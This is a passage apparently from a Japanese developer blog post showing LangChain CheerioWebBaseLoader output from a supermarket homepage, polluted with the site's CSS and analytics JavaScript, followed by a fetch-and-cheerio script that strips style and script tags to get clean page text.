\'facebook-jssdk\'));\\\\n\\" + \'引用をストックしました ストック一覧を見る 閉じる 引用するにはまずログインしてください ログイン 閉じる 引用をストックできませんでした。再度お試しください\\\\n\' + \'閉じる 限定公開記事のため引用できません。\\\\n\' + \'\\\\n\' + \'読者です 読者をやめる 読者になる 読者になる Hatena.Diary.GlobalHeader.init()\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }]npx ts-node cheerioWebBaseLoader.ts https://www.gyomusuper.jp/ただし、例えば業務スーパーのホームページを読んだ際、余計なコードが多い。newDocuments:[ Document { pageContent: \\"$(function() { $(\'.sale_bnr_close\').on(\'click\', function() {\\\\n\\" + \\"$(\'.sale_bnr\').css(\'display\', \'none\'); }); }); /*onlineshopメニュー*/ .menu_ec:hover\\\\n\\" + \'{ background:url(\\"./img/menu_ec_on.png\\") no-repeat left center #FFF; transition:\\\\n\' + \'all .5s; } /*Gyomucaメニュー*/ .menu_gyomuca { display: inline-block; width: 260px;\\\\n\' + \'height: 44px; text-align: center; text-decoration: none; line-height: 44px;\\\\n\' + \'outline: none; background:url(\\"./img/menu_gyomuca.png\\") no-repeat left center;\\\\n\' + \'text-indent:100%; white-space:nowrap; overflow:hidden; } .menu_gyomuca:hover {\\\\n\' + \'background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center #FFF;\\\\n\' + \'transition: all .5s; } /*ここまで*/ .menu_gyomuca_on\\\\n\' + \'{background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center\\\\n\' + \'#FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'left center #FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\\\\n\' + \'お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針 ホーム 商品紹介 ミラクルレシピ 特集一覧 安心安全の取り組み\\\\n\' + \'業務スーパーとは Gyomuca お問い合わせ オンラインショップ FC加盟店募集 会社案内 日本語 / ENGLISH / 中文 .fc_com_link {\\\\n\' + \'display: flex; margin-left: 40px; margin-top: 5px; } #side_menu ul.fc_com_link\\\\n\' + \'li { width: auto; height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) {\\\\n\' + \'margin-right: 10px; } #side_menu ul.fc_com_link li a { position: relative;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) { margin-right:\\\\n\' + \'10px; } #side_menu ul.fc_com_link li a { position: relative; font-size: 12px;\\\\n\' + \'color: #fff; font-weight: bold; text-shadow: 0px 0px 0.1px #fff; letter-spacing:\\\\n\' + \'1px; padding:5px; } #side_menu ul.fc_com_link li a span { content: \\"\\"; display:\\\\n\' + \'inline-block; width: 0; height: 0; border-style: solid; border-width: 5px 0 5px\\\\n\' + \'8.7px; border-color: transparent transparent transparent #ffffff; padding-right:\\\\n\' + \'8px; } #side_menu ul.fc_com_link li a:hover { background-color: #fff; color:\\\\n\' + \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent #00a55a;\\\\n\' + \'transition: all .5s; } /*FCページの時*/ #side_menu ul.fc_com_link li a.menu_fc2_on {\\\\n\' + \'background-color: #fff; color: #00a55a; text-decoration: none; text-shadow: 0px\\\\n\' + \'0px 0.1px #00a55a; } #side_menu ul.fc_com_link li a.menu_fc2_on span {\\\\n\' + \'border-color: transparent transparent transparent #00a55a; } /*ここまで*/ .lang_box\\\\n\' + \'{ margin-left: 42px; display: flex; } .lang_box span:nth-child(n + 2) {\\\\n\' + \'margin-left: 8px; } .social_box { margin-left: 38px; display: flex; margin-top:\\\\n\' + \'20px; padding-left: 5px; } .social_box p img { width: 100%; } .social_box\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'{ margin-left: 38px; display: flex; margin-top: 20px; padding-left: 5px; }\\\\n\' + \'.social_box p img { width: 100%; } .social_box p:nth-of-type(1) { margin-right:\\\\n\' + \'18px; } .social_box p { width: 35px; } @media screen and (min-width: 1024px) {\\\\n\' + \'#side_menu .social_box { padding-bottom: 80px; } } // 指定日時を超えたらセールスライド・バナー非表示\\\\n\' + \\"var now = new Date(); var end = new Date(\'2024/10/31 23:59:59\');\\\\n\\" + \\"//(指定日時 時間は24h表記) if ( now > end ) { $(\'.sale_slide_top\').remove();\\\\n\\" + \\"$(\'.sale_bnr\').remove(); }else{ // 保持時間を設定 30分後を取得 var min = new Date();\\\\n\\" + \'min.setTime( min.getTime() + ( 30 * 60 * 1000 )); console.log(min);\\\\n\' + `$(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==`, metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'var min = new Date(); min.setTime( min.getTime() + ( 30 * 60 * 1000 ));\\\\n\' + `console.log(min); $(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==\\\\n` + `\'on\'?$(\'.sale_bnr\').hide():$(\'.sale_bnr\').show(); $.cookie(\\"sale_bnr\\",\'on\',{\\\\n` + \\"expires: min , path: \'/\' }); } // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date();\\\\n\\" + \\"var end = new Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.sale_bnr_img img\').attr(\'src\',\'img/main_sale20240901.png\'); }\\\\n\\" + \\"$(window).on(\'load\', function(){ $(\'#bakudan\').attr(\'data-lightbox\',\'info01\');\\\\n\\" + \'}); // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new\\\\n\' + \\"Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.bakudan_slide\').remove(); $(\'.sale_alide\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new Date(\'2024/8/31\\\\n\\" + \\"23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) { $(\'.bakudan_slide\').remove();\\\\n\\" + \\"$(\'.sale_alide img\').attr(\'src\',\'img/main_sale20240901.png\'); } NEW ITEM 新着商品 新着\\\\n\\" + \'ホット&スパイシーヌードル\\\\n\' + \'ホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。\\\\n\' + \'詳しくはこちら 詳しくはこちら PICK UP!おすすめ商品 商品をもっと見る 新着 パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら パルメザンチーズ[要冷蔵] 詳しくはこちら PICK UP!おすすめレシピ レシピをもっと見る SPECIAL TOPICS 特集\\\\n\' + \'特集をもっと見る SNS 公式Instagram・公式X(旧Twitter) Tweets\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'Tweets by GyomusuperOFCL 公式Instagram 公式X(旧Twitter)\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'公式Instagram 公式X(旧Twitter)\\\\n\' + \'2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。\\\\n\' + \'一覧を見る 『世界の本物』を直輸入!\\\\n\' + \'業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!\\\\n\' + \'安さの秘密 自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\\\\n\' + \'スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。\\\\n\' + \'神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。\\\\n\' + \'.detail_footer{display: none;} @media screen and (max-width: 767px){\\\\n\' + \'.detail_footer{ display: block; position: fixed; bottom: 0; width: 100%;\\\\n\' + \'z-index: 20; } .detail_footer_con{ display: flex; justify-content: space-around;\\\\n\' + \'align-items: flex-start; max-width: 400px; width: 97%; margin: 0 auto; }\\\\n\' + \'.detail_footer_con a{ text-decoration: none; color: #fff; } .footer_btn{\\\\n\' + \'background-color: #13a555; padding: 10px; border-radius: 10px 10px 0 0; width:\\\\n\' + \'32%; font-size: 11px; color: #fff; display: flex; flex-direction: column;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#13a555; padding: 10px; border-radius: 10px 10px 0 0; width: 32%; font-size:\\\\n\' + \'11px; color: #fff; display: flex; flex-direction: column; justify-content:\\\\n\' + \'center; align-items: center; height: 55px; } .footer_btn p{ margin: 0; }\\\\n\' + \'.footer_btn img{ margin-bottom: 5px; } .shop_img{ width: 24%; } .bargain_img{\\\\n\' + \'width: 23%; } .pro_img{ width: 21%; } .to_img{ width: 22%; } .re_img{ width:\\\\n\' + \'25%; } .footer_x, .footer_insta{ width: 13%; border-radius: 40px; } .footer_x{\\\\n\' + \'background-color: #000; padding: 13px; } .footer_insta{ background-color:\\\\n\' + \'#ff0069; padding: 12px; } .footer_btn, .footer_x, .footer_insta{ box-shadow: 1px\\\\n\' + \'1px 4px 0 rgba(0, 0, 0, .5); } } 店舗検索 特売情報 ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品\\\\n\' + \'国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品 国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み 商品開発事前チェック\\\\n\' + \'現地工場チェック 品質安全検査 商品検証 FC加盟店募集 業務スーパー5つの強み 業務スーパーの特徴 オープンまでのプロセス 体制について 契約概要・加盟条件\\\\n\' + \'物件・商品のご提案募集 お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針\\\\n\' + \'〒675-0063兵庫県加古川市加古川町平野125番1 \xa92018-document.write(new Date().getFullYear());\\\\n\' + \'Gyomu Super All Rights Reserved. footer small { display: block; text-align:\\\\n\' + \'right; padding-right: 10px; margin: 0 3%; color: #fff; } @media (max-width:64em)\\\\n\' + \'{ footer small { display: block; text-align: left; padding-right: 10px; margin:\\\\n\' + \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_slide\', \'event_label\' : \'top_slide_\'+top_slide+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_slide\', {\'top_slide\' : top_slide}); }); $(\'.topics\').click(function() { var\\\\n\\" + \\"page_url = $(\'.topics a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\'\\\\n\\" + \\": \'topics_bnr\', \'event_label\' : \'topics_bnr_\'+page_url+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'topics_bnr\', {\'topics_bnr\' : page_url}); });\\\\n\\" + \\"$(\'.top_recipe_bnr\').click(function(){ var top_recipe_bnr = $(\'.top_recipe_bnr\\\\n\\" + \\"a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' : \'top_recipe_bnr\',\\\\n\\" + \\"\'event_label\' : \'top_recipe_bnr_\'+top_recipe_bnr+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\',\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\', {\'event_category\' : \'gs_forum\',\\\\n\\" + \\"\'event_label\' : \'gs_forum_\'+gs_forum+\'\'}); gtag(\'event\', \'gs_forum\', {\'gs_forum\'\\\\n\\" + \\": gs_forum}); }); $(\'.information dt\').click(function(){ var news_title =\\\\n\\" + \\"$(this).children(\'p\').text(); gtag(\'event\', \'click\', {\'event_category\' : \'news\',\\\\n\\" + \\"\'event_label\' : \'news_\'+news_title+\'\'}); gtag(\'event\', \'news\', {\'news\' :\\\\n\\" + \\"news_title}); }); $(\'.yasusa\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'yasusa_himitsu\', \'event_label\' : \'yasusa_himitsu\'});\\\\n\\" + \\"gtag(\'event\', \'yasusa_himitsu\', {\'yasusa_himitsu\' : \'yasusa_himitsu\'}); });\\\\n\\" + \\"$(\'.anzen\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'anzen_himitsu\', \'event_label\' : \'anzen_himitsu\'}); gtag(\'event\',\\\\n\\" + \\"\'anzen_himitsu\', {\'anzen_himitsu\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'anzen_himitsu\', \'event_label\' :\\\\n\\" + \\"\'anzen_himitsu\'}); gtag(\'event\', \'anzen_himitsu\', {\'anzen_himitsu\' :\\\\n\\" + \\"\'anzen_himitsu\'}); }); $(\'.recipe_btm_link\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'recipe_btm_link\', \'event_label\' :\\\\n\\" + \\"\'recipe_btm_link\'}); gtag(\'event\', \'recipe_btm_link\', {\'recipe_btm_link\' :\\\\n\\" + \\"\'recipe_btm_link\'}); }); $(\'.3step_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'3step_btn\', \'event_label\' : \'3step_btn\'});\\\\n\\" + \\"gtag(\'event\', \'3step_btn\', {\'3step_btn\' : \'3step_btn\'}); });\\\\n\\" + \\"$(\'.setsuyaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'setsuyaku_btn\', \'event_label\' : \'setsuyaku_btn\'}); gtag(\'event\',\\\\n\\" + \\"\'setsuyaku_btn\', {\'setsuyaku_btn\' : \'setsuyaku_btn\'}); });\\\\n\\" + \\"$(\'.quick_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'quick_btn\', \'event_label\' : \'quick_btn\'}); gtag(\'event\', \'quick_btn\',\\\\n\\" + \\"{\'quick_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'setsuyaku_btn\'}); }); $(\'.quick_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'quick_btn\', \'event_label\' : \'quick_btn\'});\\\\n\\" + \\"gtag(\'event\', \'quick_btn\', {\'quick_btn\' : \'quick_btn\'}); });\\\\n\\" + \\"$(\'.honkaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'honkaku_btn\', \'event_label\' : \'honkaku_btn\'}); gtag(\'event\', \'honkaku_btn\',\\\\n\\" + \\"{\'honkaku_btn\' : \'honkaku_btn\'}); }); $(\'.recipe_item\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'recipe_item\', \'event_label\' :\\\\n\\" + \\"\'recipe_item\'}); gtag(\'event\', \'recipe_item\', {\'recipe_item\' : \'recipe_item\'});\\\\n\\" + \\"}); $(\'.all_recipe_btn\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'all_recipe_btn\', \'event_label\' : \'all_recipe_btn\'});\\\\n\\" + \\"gtag(\'event\', \'all_recipe_btn\', {\'all_recipe_btn\' : \'all_recipe_btn\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_left\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'Visseel\', \'event_label\' : \'Visseel\'}); gtag(\'event\',\\\\n\\" + \\"\'Visseel\', {\'Visseel\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'all_recipe_btn\'}); }); $(\'.sports_wrap .bun_left\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'Visseel\', \'event_label\' :\\\\n\\" + \\"\'Visseel\'}); gtag(\'event\', \'Visseel\', {\'Visseel\' : \'Visseel\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_right\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'DeNA\', \'event_label\' : \'DeNA\'}); gtag(\'event\', \'DeNA\',\\\\n\\" + \\"{\'DeNA\' : \'DeNA\'}); }); $(\'.sale_bnr\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'sale_bnr_mini\', \'event_label\' : \'sale_bnr_mini\'});\\\\n\\" + \\"gtag(\'event\', \'sale_bnr_mini\', {\'sale_bnr_mini\' : \'sale_bnr_mini\'}); });\\\\n\\" + \\"$(\'.top_ec_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_ec_btn\', \'event_label\' : \'top_ec_btn\'}); gtag(\'event\', \'top_ec_btn\',\\\\n\\" + \\"{\'top_ec_btn\' : \'top_ec_btn\'}); }); $(\'.top_halal_btn\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\\\n\\" + \\"\'top_halal_btn\'}); }); $(\'.gyomuca_slide\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'gyomuca_slide\', \'event_label\' : \'gyomuca_slide\'});\\\\n\\" + \\"gtag(\'event\', \'gyomuca_slide\', {\'gyomuca_slide\' : \'gyomuca_slide\'}); });\\\\n\\" + \\"$(\'.gyomuca_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'gyomuca_btn\', \'event_label\' : \'gyomuca_btn\'}); gtag(\'event\', \'gyomuca_btn\',\\\\n\\" + \\"{\'gyomuca_btn\' : \'gyomuca_btn\'}); }); $(\'.top_shop_bnr a\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_shop_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_shop_bnr\'}); gtag(\'event\', \'top_shop_bnr\', {\'top_shop_bnr\' :\\\\n\\" + \\"\'top_shop_bnr\'}); }); $(\'.top_bargain_bnr a\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'top_bargain_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_bargain_bnr\'}); gtag(\'event\', \'top_bargain_bnr\', {\'top_bargain_bnr\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"a\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_bargain_bnr\', \'event_label\' : \'top_bargain_bnr\'}); gtag(\'event\',\\\\n\\" + \\"\'top_bargain_bnr\', {\'top_bargain_bnr\' : \'top_bargain_bnr\'}); });\\\\n\\" + \\"$(document).ready(function() { $(\'.drawer\').drawer(); }); //infoaccordion\\\\n\\" + `$(function(){ $(\\".infoac dt\\").not(\'#noicon\').on(\\"click\\", function() {\\\\n` + \'$(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); }); }); //scroll\\\\n\' + `$(function(){ // #で始まるリンクをクリックしたら実行されます $(\'a[href^=\\"#\\"]\').click(function() { //\\\\n` + \'スクロールの速度 var speed = 600; // ミリ秒で記述 var href= $(this).attr(\\"href\\"); var target =\\\\n\' + `$(href == \\"#\\" || href == \\"\\" ? \'html\' : href); var position =\\\\n` + \\"target.offset().top; $(\'body,html\').animate({scrollTop:position}, speed,\\\\n\\" + \\"\'swing\'); return false; }); }); //matchHeight $(function(){\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"var position = target.offset().top; $(\'body,html\').animate({scrollTop:position},\\\\n\\" + \\"speed, \'swing\'); return false; }); }); //matchHeight $(function(){\\\\n\\" + \\"$(\'.mh\').matchHeight(); }); function news_link(id,year) {\\\\n\\" + \'document.newslink.ne_id.value=id; document.newslink.ne_year.value=year;\\\\n\' + \'document.newslink.submit(); } $(function(){ $(\\"#acMenu dt\\").on(\\"click\\",\\\\n\' + \'function() { $(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); });\\\\n\' + \'}); $(\\".information dl dt\\\\n\' + `p:contains(\'「酒類の品目等の表示義務」改正に伴う「麦旨」の品目表示及び税率適用区分表示の変更について\')\\").find(\'a\').attr({target:\\"_blank\\"});\\\\n` + \'objectFitImages();\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }]CheerioWebBaseLoaderはbodyタグ内を読むのですが、styleタグやscriptタグが入ってしまっているからなんですね。そこで、CheerioWebBaseLoaderを使わず、URLからfetchして、cheerioTextで得たbodyタグの中からstyleタグやscriptタグの中身を除去したコードを実行。npx ts-node webLoad.ts https://www.gyomusuper.jp/綺麗に取れました!!bodyContent:お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針ホーム商品紹介ミラクルレシピ特集一覧安心安全の取り組み業務スーパーとはGyomucaお問い合わせオンラインショップFC加盟店募集会社案内日本語/ENGLISH/中文NEWITEM新着商品新着ホット&スパイシーヌードルホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。詳しくはこちら詳しくはこちらPICKUP!おすすめ商品商品をもっと見る新着パルメザンチーズのリゾットイタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!詳しくはこちらパルメザンチーズ[要冷蔵]詳しくはこちらPICKUP!おすすめレシピレシピをもっと見るSPECIALTOPICS特集特集をもっと見るSNS公式Instagram・公式X(旧Twitter)TweetsbyGyomusuperOFCL公式Instagram公式X(旧Twitter)2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業の